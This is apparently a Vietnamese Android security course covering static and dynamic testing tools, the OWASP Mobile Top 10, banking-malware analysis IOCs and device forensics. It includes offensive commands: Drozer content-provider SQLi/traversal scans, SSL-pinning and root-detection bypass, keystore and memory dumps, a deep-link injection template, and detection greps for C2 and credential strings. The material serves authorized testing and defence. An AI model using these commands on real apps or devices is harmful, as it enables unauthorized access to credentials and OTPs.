curl -X POST --url $BASE/scan --data "hash=<hash>" -H "Authorization:$APIKEY"
curl -X POST --url $BASE/download_pdf --data "hash=<hash>" -H "Authorization:$APIKEY" -o report.pdf
```

### Quark Engine

STATIC

Chấm điểm **hành vi độc hại** (malware scoring) thay vì chỉ liệt kê issue.



**Mô hình 5 giai đoạn:** một hành vi (vd "đọc danh bạ rồi gửi ra mạng") gồm nhiều API gọi theo trình tự. Quark chấm 5 mức — (1) có xin quyền? (2) có gọi API? (3) đúng tổ hợp API? (4) đúng thứ tự gọi? (5) dữ liệu chảy qua cùng register? — càng thoả nhiều, **confidence** càng cao. Nhờ đó phân biệt "app tình cờ có API" với "app thực sự thực hiện hành vi".

```
pip install quark-engine ; freshquark          # cập nhật rule
quark -a sample.apk -s                        # summary: hành vi + confidence
quark -a sample.apk -s -o report.json         # xuất JSON
quark -a sample.apk -s -g                     # call graph
```

### MobSF vs Quark

MobSF = toàn cảnh & misconfig (mọi pentest). Quark = nghi malware/hành vi ẩn, cân bằng chứng data-flow. Chạy cả hai ở bước triage.

## 3 · Dynamic Tools

### Drozer

DYNAMIC

Framework đánh giá attack surface IPC: activities, services, receivers, **content providers**. Kiến trúc client (console host) — agent (app trên thiết bị).

```
pip install drozer ; adb install drozer-agent.apk
adb forward tcp:31415 tcp:31415 ; drozer console connect
dz> run app.package.attacksurface com.target.app      # đếm nhanh component exported
dz> run app.activity.start --component com.target.app com.target.app.SecretActivity
# Content provider — thường "béo bở" nhất
dz> run scanner.provider.injection -a com.target.app  # SQLi
dz> run scanner.provider.traversal -a com.target.app  # path traversal
```

### Objection

DYNAMIC

"Runtime mobile exploration" trên nền Frida — thao tác nhanh **không cần viết script**.

```
objection -g com.target.app explore
obj> android hooking watch class_method com.target.app.LoginManager.checkPin --dump-args --dump-return
obj> android sslpinning disable ; android root disable
obj> memory search --string "password" ; android keystore list
obj> file download /data/data/com.target.app/shared_prefs/prefs.xml
```

### Objection vs Frida thuần

Objection = tác vụ chuẩn, tương tác nhanh. Cần logic hook tùy biến phức tạp → Frida script hoặc Medusa.

### Medusa — Bypass & Detect

DYNAMIC

Framework module hoá trên Frida: chọn (nạp) module hooking theo mục đích, Medusa tự sinh & inject script.

```
git clone https://github.com/Ch0pin/medusa ; cd medusa ; pip install -r requirements.txt
python medusa.py
medusa> search ssl ; use <module> ; compile ; run -f com.target.app
```

| Nhóm dùng để...          | Module tiêu biểu                                                                                               |
|--------------------------|----------------------------------------------------------------------------------------------------------------|
| <b>Bypass phòng vệ</b>   | SSL pinning, root/emulator/frida detection, FLAG_SECURE.                                                       |
| <b>Phát hiện hành vi</b> | DexClassLoader (tải code động), <code>Runtime.exec</code> , hook Cipher (lộ key), network/C2, reflection, SMS. |

#### App nhiều lớp phòng vệ

App banking thường chạy anti-frida *trước* khi bạn kịp hook → ưu tiên module anti-frida + spawn ( `-f` ) sớm, hoặc dùng gadget nhúng.

## 4 · Skills Assessment

| Bước                   | Công cụ   | Mục tiêu                                  |
|------------------------|-----------|-------------------------------------------|
| 1 Static triage        | MobSF     | Manifest, secrets, misconfig.             |
| 2 Behavior scoring     | Quark     | Hành vi ẩn + data-flow.                   |
| 3 IPC                  | Drozer    | Provider SQLi/traversal, activity bypass. |
| 4 Runtime              | Objection | Hook nhanh, dump prefs/keystore.          |
| 5 Bypass + bắt hành vi | Medusa    | Vô hiệu phòng vệ, hook để lấy bằng chứng. |

#### Tổng kết module

Static (MobSF/Quark) trả lời app *có thể* làm gì; dynamic (Drozer/Objection/Medusa) chứng minh app *thực* sự làm gì và giúp vượt phòng vệ.

# Android Attacks — OWASP Mobile Top 10

Bản đồ chuẩn để không bỏ sót lớp lỗ hổng nào. Mỗi hạng mục M1-M10: bản chất → cách test (static+dynamic) → khắc phục → map MASVS. Với fintech, nhấn M1/M3/M5/M9/M10 nhưng luôn quét đủ.

## 1 · Overview

| #   | Hạng mục                              | Bản chất một câu                                     |
|-----|---------------------------------------|------------------------------------------------------|
| M1  | Improper Credential Usage             | Credential hardcode/mặc định/lưu & truyền sai.       |
| M2  | Inadequate Supply Chain Security      | SDK/thư viện bên thứ ba dính lỗ hổng/độc hại.        |
| M3  | Insecure Authentication/Authorization | Kiểm tra danh tính/quyền yếu hoặc đặt ở client.      |
| M4  | Insufficient Input/Output Validation  | SQLi, path traversal, XSS WebView, intent injection. |
| M5  | Insecure Communication                | Cleartext, TLS yếu, không pinning.                   |
| M6  | Inadequate Privacy Controls           | Thu thập/lộ PII quá mức.                             |
| M7  | Insufficient Binary Protections       | Dễ reverse/patch, thiếu anti-tamper.                 |
| M8  | Security Misconfiguration             | debuggable, allowBackup, exported.                   |
| M9  | Insecure Data Storage                 | Lưu dữ liệu nhạy cảm không mã hoá.                   |
| M10 | Insufficient Cryptography             | Thuật toán/khoá/IV/PRNG yếu.                         |

## 2 · M1-M10 — Test & Khắc phục

### M1 · Improper Credential Usage

M1

```
grep -rniE "password|api[_-]?key|secret|token|Basic [A-Za-z0-9+/=]{8,}" jadx_out/ res/values/strings.xml
```

**Khắc phục:** không hardcode; Keystore giữ khoá; token phiên ngắn hạn; xác thực server. **MASVS-AUTH/STORAGE**

### M2 · Inadequate Supply Chain Security

M2

```
ls lib/arm64-v8a/ ; unzip -l base.apk | grep -iE "\.so|okhttp|firebase|facebook"
```

**Test:** liệt kê SDK/lib, đối chiếu CVE, dò trackers (MobSF/exodus). **Khắc phục:** SBOM, pin & cập nhật dependency, vet SDK, ký & kiểm soát pipeline. **MASVS-CODE**

## M3 · Insecure Authentication/Authorization

M3

```
grep -rniE "isAuthenticated|isLoggedIn|checkPin|role\s*==|isAdmin" jadx_out/
```

**Điểm cốt lõi:** kiểm tra ở *client* luôn bypass được (patch/Frida). Test thật nằm ở **server**: đổi ID/tài nguyên (IDOR), kiểm session token có đoán được / hết hạn / gắn thiết bị. **Khắc phục:** thực thi authZ tại server mọi request; MFA. **MASVS-AUTH**

## M4 · Insufficient Input/Output Validation

M4

```
dz> run scanner.provider.injection -a com.target.app # SQLi
dz> run scanner.provider.traversal -a com.target.app # path traversal
adb shell am start -a android.intent.action.VIEW -d "app://target/path?x=<payload>"
```

**Khắc phục:** parameterized query; validate/allowlist; escape output; WebView an toàn; kiểm tra deep link. **MASVS-CODE/PLATFORM**

## M5 · Insecure Communication

M5

```
grep -rniE "usesCleartextTraffic|http://|TrustManager|ALLOW_ALL_HOSTNAME" jadx_out/ work/
AndroidManifest.xml
cat work/res/xml/network_security_config.xml 2>/dev/null
```

**Khắc phục:** TLS mạnh; `cleartextTrafficPermitted=false`; certificate/public-key pinning; không override TrustManager. **MASVS-NETWORK**

## M6 · Inadequate Privacy Controls

M6

```
adb logcat | grep -iE "email|phone|imei|token|card"
grep -n "uses-permission" work/AndroidManifest.xml
```

**Khắc phục:** tối thiểu hoá dữ liệu; xin đúng quyền; không log PII; consent minh bạch. **MASVS-PRIVACY**

## M7 · Insufficient Binary Protections

M7

```
grep -rniE "isRooted|isDebuggerConnected|checkSignature|SafetyNet|Play Integrity" jadx_out/
```

**Test:** app có dễ reverse/patch (Module 01)? Có RASP? **Khắc phục:** obfuscation, kiểm tra toàn vẹn, anti-debug/anti-hook, native + attestation. Lưu ý: phòng thủ theo lớp, **không** thay cho bảo mật server. **MASVS-RESILIENCE**

## M8 · Security Misconfiguration

M8

```
grep -nE 'debuggable="true"|allowBackup="true"|exported="true"' work/AndroidManifest.xml
adb backup -f app.ab com.target.app # nếu allowBackup
```

**Khắc phục:** tắt debug/backup ở release; chỉ export component cần & đặt permission; siết cấu hình mặc định. **MASVS-PLATFORM**

## M9 · Insecure Data Storage

M9

```
obj> file download /data/data/com.target.app/shared_prefs/prefs.xml
sqlite3 app.db ".tables" ; strings app.db | grep -iE "card|pin|token"
adb shell ls /sdcard/Android/data/com.target.app/
```

**Khắc phục:** không lưu nhạy cảm nếu không cần; mã hoá (EncryptedSharedPreferences, SQLCipher) với khoá trong Keystore; không dùng external storage. **MASVS-STORAGE**

## M10 · Insufficient Cryptography

M10

```
grep -rniE "AES/ECB|DESede?|RC4|MD5|SHA-?1|new Random\" jadx_out/
obj> android hooking watch class_method javax.crypto.Cipher.doFinal --dump-args # lộ key/IV
runtime
```

**Khắc phục:** AES-GCM (AEAD); khoá sinh & giữ trong Keystore; IV ngẫu nhiên không tái dùng; **SecureRandom**; hash mật khẩu bằng Argon2/bcrypt/PBKDF2 + salt ngẫu nhiên. **MASVS-CRYPTO**

## 3 · Skills Assessment

Đánh giá một app end-to-end, phát hiện lỗi hỏng nhiều hạng mục, khai thác chứng minh tác động, viết report chuẩn MASVS.

- [ ] Mỗi finding gắn đúng Mx + MASVS ref.
- [ ] Có PoC tái lập (lệnh/screenshot/log).
- [ ] Mức độ (CVSS) & tác động nghiệp vụ (dữ liệu tài chính).
- [ ] Phân biệt lỗi client-side vs cần fix server-side.

### Tổng kết module

Quy trình lập: recon → static triage → dynamic verify → khai thác chứng minh → map MASVS → khắc phục. OWASP Mobile Top 10 là *checklist* để bao phủ đủ bề mặt.

# Android Application Malware Analysis

Góc nhìn analyst/phòng thủ: nhận diện → bóc tách kỹ thuật trong APK khả nghi → chuyển thành IOC & khuyến nghị phòng thủ. Lăn theo *quyền bị lạm dụng* → *hành vi* → C2, xuyên qua các lớp chống phân tích.

## 1 · Types of Malware

| Loại                  | Hành vi                                  | IOC cần soi                                                   |
|-----------------------|------------------------------------------|---------------------------------------------------------------|
| <b>Banking Trojan</b> | Overlay giả, đọc màn hình, chặn OTP      | SYSTEM_ALERT_WINDOW, Accessibility, SMS/Notification listener |
| <b>Spyware</b>        | Theo dõi vị trí/tin nhắn/ghi âm, ẩn icon | LOCATION, RECORD_AUDIO, READ_SMS                              |
| <b>RAT</b>            | Điều khiển từ xa qua C2                  | C2 bền, lệnh động, reflection                                 |
| <b>Dropper</b>        | Tải & nạp payload giai đoạn 2            | DexClassLoader, REQUEST_INSTALL_PACKAGES                      |
| <b>SMS Fraud</b>      | Gửi SMS trả phí, chặn tin xác nhận       | SEND_SMS                                                      |
| <b>Ransomware</b>     | Khoá/mã hoá, đòi tiền                    | Crypto + overlay khoá, Device Admin                           |

**Vòng đời (kill chain):** vector lây (sideload/repackaging/smishing) → dự cấp quyền Accessibility/Overlay/Device Admin → persistence (BootReceiver, foreground service, ẩn icon) → payload (overlay, keylog, chiếm OTP, exfil) → C2 (nhận lệnh, đẩy dữ liệu). Phân loại đúng họ = biết cần soi IOC gì.

### An toàn lab — bắt buộc

Chỉ chạy mẫu trong VM/emulator cô lập, không SIM thật, mạng qua sandbox. Tài liệu phục vụ phân tích & phòng thủ có uỷ quyền.

## 2 · Abusing Permissions

### Accessibility Service — nhận diện lạm dụng

ANALYSIS

**Vì sao bị lạm dụng:** Accessibility cho phép **đọc toàn bộ nội dung màn hình** (kể cả app bank) và **thao tác thay người dùng** (auto-click). Đây là nền của keylogging, tự cấp quyền, và "auto-transfer" gian lận — nên là trái tim của banking trojan.

**IOC:** `BIND_ACCESSIBILITY_SERVICE` ; service với intent

`android.accessibilityservice.AccessibilityService` ; config `canRetrieveWindowContent="true"` , `typeAllMask` ; `onAccessibilityEvent` , `performGlobalAction` , `getRootInActiveWindow` .

```
grep -rniE "BIND_ACCESSIBILITY_SERVICE|canRetrieveWindowContent|typeAllMask" work/ res/xml/
grep -rniE "onAccessibilityEvent|performGlobalAction|AccessibilityNodeInfo" jadx_out/
```

## System Alert Window — overlay & tapjacking

ANALYSIS

**Cơ chế:** quyền `SYSTEM_ALERT_WINDOW` cho vẽ cửa sổ đè lên app khác. Malware phủ **màn hình đăng nhập giả** lên app thật (credential harvesting) hoặc che nút để lừa chạm (**tapjacking**), thường phối hợp Accessibility để bung overlay đúng lúc app bank foreground.

**IOC:** `SYSTEM_ALERT_WINDOW`; `TYPE_APPLICATION_OVERLAY`; `WindowManager.addView`; layout nhái app bank; danh sách package mục tiêu.

```
grep -rniE "SYSTEM_ALERT_WINDOW|TYPE_APPLICATION_OVERLAY|addView" work/AndroidManifest.xml
jadx_out/
ls work/res/layout/ | grep -iE "login|bank|overlay|inject"
```

### Lành tính vs độc hại

Nhiều app hợp pháp dùng overlay (chat bubble). Dấu hiệu độc hại: overlay + Accessibility + **danh sách package ngân hàng** + layout nhái + kích hoạt theo app foreground.

## 3 · Advanced Analysis Techniques

### Analysing Detection Evasion

ADVANCED

| Né tránh      | Cách mẫu kiểm tra                                           | Đối phó                              |
|---------------|-------------------------------------------------------------|--------------------------------------|
| Anti-emulator | <code>ro.build.*</code> , thiếu sensor, "generic/goldfish"  | Thiết bị thật / emulator hardening.  |
| Anti-debug    | <code>TracerPid</code> trong <code>/proc/self/status</code> | Hook trả false.                      |
| Anti-Frida    | Quét cổng 27042, chuỗi "frida"                              | Gadget/stealth, spawn sớm, đổi cổng. |
| Time bomb     | Timer hoãn kích hoạt theo ngày/lần mở                       | Tua thời gian, giả điều kiện.        |
| Packing       | Unpack DEX động lúc chạy                                    | Dump DEX từ bộ nhớ sau khi unpack.   |

**Chiến lược unpack:** với mẫu packed, để nó tự giải trong sandbox rồi **dump DEX từ bộ nhớ** (frida-dexdump, hook `DexClassLoader` / `defineClass`) — bắt payload giai đoạn 2 ở dạng đã giải, thay vì gở static.

### Unraveling Embedded Custom VM

ADVANCED

**Custom VM là gì:** logic quan trọng được biên dịch sang **bytecode riêng**, thực thi bởi một **máy ảo nhúng** trong app. Decompiler chỉ thấy vòng lặp interpreter (dispatcher + `switch` theo opcode) chứ không thấy logic thật — một dạng bảo vệ cao cấp.

**Quy trình unravel:** (1) định vị dispatcher & con trỏ chương trình; (2) đọc từng handler để suy nghĩ nghĩa opcode; (3) trích blob "bytecode" từ assets; (4) viết disassembler theo bảng opcode; (5) hook dispatcher bằng Frida để log opcode/toán hạng runtime.

```
grep -rniE "switch\s*(\s*(.*opcode|byte\[\].*program|dispatch|handlers?\[" jadx_out/
ls -la work/assets/ | sort -k5 -n | tail # blob lớn khả nghi
```

### Thực dụng

Không cần dựng lại cả VM — xác định hàm mục tiêu (sinh key, quyết định C2) rồi hook dispatcher quan sát input/output thường đủ hiểu hành vi.

## Uncovering 2FA Token Exploitation

ADVANCED

**Điểm mấu chốt:** banking trojan cần chiếm **OTP/2FA** để hoàn tất giao dịch gian lận. Ba đường chính, mỗi đường có IOC riêng — cực quan trọng với ngân hàng/fintech.

| Đường chiếm OTP       | IOC                                                                                          |
|-----------------------|----------------------------------------------------------------------------------------------|
| SMS interception      | <code>RECEIVE_SMS</code> , <code>SMS_RECEIVED</code> receiver, <code>abortBroadcast()</code> |
| Notification listener | <code>BIND_NOTIFICATION_LISTENER_SERVICE</code> , <code>onNotificationPosted</code>          |
| Accessibility read    | Accessibility + regex bắt chuỗi 4-8 chữ số                                                   |

```
grep -rniE "RECEIVE_SMS|SMS_RECEIVED|abortBroadcast|NotificationListenerService|onNotificationPosted" work/ jadx_out/
grep -rniE "telegram|bot[0-9]+:|/sendMessage|http[s]?://\" jadx_out/ # kênh C2 phổ biến
```

### Phòng thủ (banking)

Không gửi OTP đủ dùng qua SMS/thông báo đọc được; ưu tiên push-approval trong-app gắn thiết bị; phát hiện app có Notification-listener/Accessibility đáng ngờ khi giao dịch.

## 4 · Skills Assessment

Phân tích một APK nghi banking trojan: phân loại, xác định quyền lạm dụng, vượt né tránh, bóc payload, tổng hợp IOC + report.

### IOC nên trích cho report

- **Định danh:** SHA-256, package, cert fingerprint, tên/icon.
- **Khả năng:** quyền lạm dụng, service (Accessibility/Notification/Overlay), receiver SMS.
- **Mạng:** domain/IP C2, kênh exfil.
- **Mục tiêu:** danh sách package ngân hàng/ví trong "target list".
- **Kỹ thuật:** né tránh, packing/VM, cách sinh key.

### Tổng kết module

Giá trị lớn nhất cho bảo mật ngân hàng là chuyển kết quả phân tích thành **IOC (YARA/hash/domain) & khuyến nghị phòng thủ**: chống overlay, bảo vệ OTP, phát hiện app lạm dụng Accessibility/Notification.



# Android Forensics

Thu thập & phân tích chứng cứ một cách toàn vẹn, tái lập được. Xuyên suốt, **hash + chain of custody** là thứ biến "dữ liệu" thành "chứng cứ".

## 1 · Tools and Methodologies

### Nguyên tắc cốt lõi

THEORY

- **Forensic soundness:** giảm tối đa thay đổi trên nguồn; nếu buộc thay đổi (vd root) → ghi lại đầy đủ.
- **Chain of custody:** ai giữ, khi nào, làm gì — liên tục.
- **Integrity bằng hashing:** tính hash ngay khi thu thập & kiểm lại sau mỗi bước.
- **Order of volatility:** thu thứ dễ mất trước (RAM) rồi tới lưu trữ.
- **Reproducibility:** ghi công cụ, phiên bản, lệnh, thời gian.

```
sha256sum extraction.tar > extraction.tar.sha256 # ngay khi thu thập
sha256sum -c extraction.tar.sha256 # kiểm lại trước khi phân tích
```

| Mức acquisition | Lấy được             | Yêu cầu                          |
|-----------------|----------------------|----------------------------------|
| Logical         | File/backup qua ADB  | Thấp — có thể không cần root     |
| File System     | Toàn bộ FS (tar/dd)  | Thường cần root                  |
| Physical        | Ảnh bit-by-bit flash | Khó; phụ thuộc mã hoá/bootloader |

**Thách thức Android:** FBE mã hoá `/data` khi khoá → cần thiết bị đã mở khoá (AFU) để đọc; **bootloader khoá** hạn chế acquisition mức thấp & unlock thường xoá dữ liệu; **app sandbox** → dữ liệu `/data/data/<pkg>` chỉ đọc được khi root/run-as.

## 2 · Root Access and Management

### Rooting Android Devices

ROOT

#### Cảnh báo chứng cứ

Trên thiết bị điều tra thật, unlock bootloader thường **factory reset** → mất dữ liệu. Ưu tiên phương pháp acquisition được hỗ trợ. Root để lấy FS phù hợp với lab/thiết bị test, hoặc khi đã cân nhắc & tài liệu hoá tác động.

```
adb reboot bootloader ; fastboot flashing unlock # (LƯU Ý: xoá dữ liệu)
# Magisk → Patch boot.img → flash
fastboot flash boot magisk_patched.img ; fastboot reboot
adb shell su -c id # uid=0(root)
```

**Systemless root:** Magisk không sửa partition `/system` mà can thiệp ở tầng khởi động → ít xâm lấn hơn, dễ gỡ, và có thể ẩn khỏi app phát hiện (DenyList/Zygisk/Shamiko).

## Root Management Apps

ROOT

| App      | Vai trò                                                              |
|----------|----------------------------------------------------------------------|
| Magisk   | Root systemless; quản lý quyền su; DenyList/Zygisk ẩn root; modules. |
| SuperSU  | Trình quản lý su thế hệ cũ.                                          |
| KernelSU | Root mức kernel (cần kernel hỗ trợ).                                 |

### Liên hệ 2 chiều

Cơ chế "ẩn root" (DenyList/Shamiko) chính là thứ bạn đối đầu khi test **root detection** ở Module 04. Forensics dùng root để *truy cập*; pentest phân tích cách app *phát hiện* root.

## 3 · Data Acquisition and Analysis

### ALEAPP

ACQUISITION

**ALEAPP** (Android Logs Events And Protobuf Parser) phân tích một bản trích xuất & sinh **báo cáo HTML** về artifact: app usage, notifications, wifi, vị trí, tài khoản, DB app.

```
adb shell "su -c 'tar -cf /sdcard/data.tar /data/data /data/system 2>/dev/null'"
adb pull /sdcard/data.tar . ; sha256sum data.tar > data.tar.sha256
git clone https://github.com/abrignoni/ALEAPP ; cd ALEAPP ; pip install -r requirements.txt
python aleapp.py -t tar -i ../data.tar -o ../aleapp_out # -t: fs|tar|zip
```

### Autopsy

ACQUISITION

Nền tảng forensics GUI (The Sleuth Kit): nạp nguồn dữ liệu, chạy ingest modules, dựng **timeline**, keyword search, xuất report.

**Quy trình:** Create Case → Add Data Source (image / Logical Files) → Ingest Modules (Hash Lookup, Keyword, Recent Activity...) → Analyze (cây file, timeline, keyword) → Report.

**ALEAPP + Autopsy bổ sung nhau:** ALEAPP mạnh về *parse artifact Android chuyên biệt* (protobuf, DB app) thành báo cáo gọn; Autopsy mạnh về *quản lý vụ việc, timeline, keyword, hashing* trên khối dữ liệu lớn. Thực tế chạy cả hai trên cùng extraction.

### Analyzing Android Backup Files

ACQUISITION

Không cần root: tạo backup logic bằng `adb backup` (định dạng `.ab`), chuyển sang tar để duyệt.

```
adb backup -f app.ab -apk com.target.app # xác nhận trên thiết bị
java -jar abe.jar unpack app.ab app.tar # .ab → tar
mkdir app_extract && tar -xf app.tar -C app_extract
find app_extract -name "*.db" -exec sqlite3 {} ".tables" \;
grep -rniE "token|password|email|card|otp" app_extract/
```

**Cấu trúc backup:** `apps/<pkg>/db/` (SQLite: tin nhắn, token), `/sp/` (SharedPreferences), `/f/` (file nội bộ). **Giới hạn:** app đặt `allowBackup="false"` hoặc loại trừ qua `fullBackupContent` sẽ không (hoặc chỉ một phần) vào backup → khi đó cần file-system acquisition (root).

## 4 · Skills Assessment

| Bước | Hành động                                       | Công cụ           |
|------|-------------------------------------------------|-------------------|
| 1    | Ghi nguồn, tính hash, khởi tạo chain of custody | sha256sum         |
| 2    | Acquisition: backup (.ab→tar) hoặc FS tar       | adb, abe.jar, tar |
| 3    | Parse artifact chuyên biệt                      | ALEAPP            |
| 4    | Timeline, keyword, hashing khối lớn             | Autopsy           |
| 5    | Soi DB/prefs tìm bằng chứng                     | sqlite3, grep     |
| 6    | Báo cáo: phát hiện, hash, phương pháp           | —                 |

### Checklist chứng cứ

- [ ] Đã hash nguồn & mọi artifact, kiểm lại khớp?
- [ ] Chain of custody liên tục?
- [ ] Ghi đủ công cụ + phiên bản + lệnh để tái lập?
- [ ] Mỗi kết luận có bằng chứng gốc (đường dẫn, timestamp)?
- [ ] Nêu rõ giới hạn (mã hoá, backup thiếu, allowBackup=false)?

### Tổng kết module

Android forensics = thu thập toàn vẹn → phân tích có phương pháp → báo cáo tái lập được. Root mở đường tới file-system acquisition nhưng đánh đổi tính nguyên trạng, nên phải tài liệu hoá.